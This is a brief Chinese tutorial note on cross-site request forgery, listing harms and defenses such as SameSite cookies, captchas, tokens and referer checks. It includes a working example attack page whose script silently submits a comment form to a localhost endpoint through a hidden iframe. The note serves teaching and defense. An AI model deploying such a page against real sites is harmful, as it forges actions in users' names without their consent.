cross site request forhy(CSRF)跨站请求攻击
案例:诱导用户打开第三网站,进行攻击,例如:
<body>
hello,这里什么也没有。
<script>
document.write(`
<form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment">
<input name="postId" type="hidden" value="1">
<textarea name="content">来自CSRF!</textarea>
</form>`
);
var iframe = document.createElement('iframe');
iframe.name = 'csrf';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function(){
document.querySelector('[name=commentForm]').submit();
},1000);
</script>
</body>
图示:
危害:盗取用户自己(转账、消费)、冒充用户发帖背锅、损坏网站声誉等等。
防御:
- 禁止第三方网站带cookie --> same-site(兼容性不好)
- 在涉及攻击前端页面加入验证码
- token
- referer判断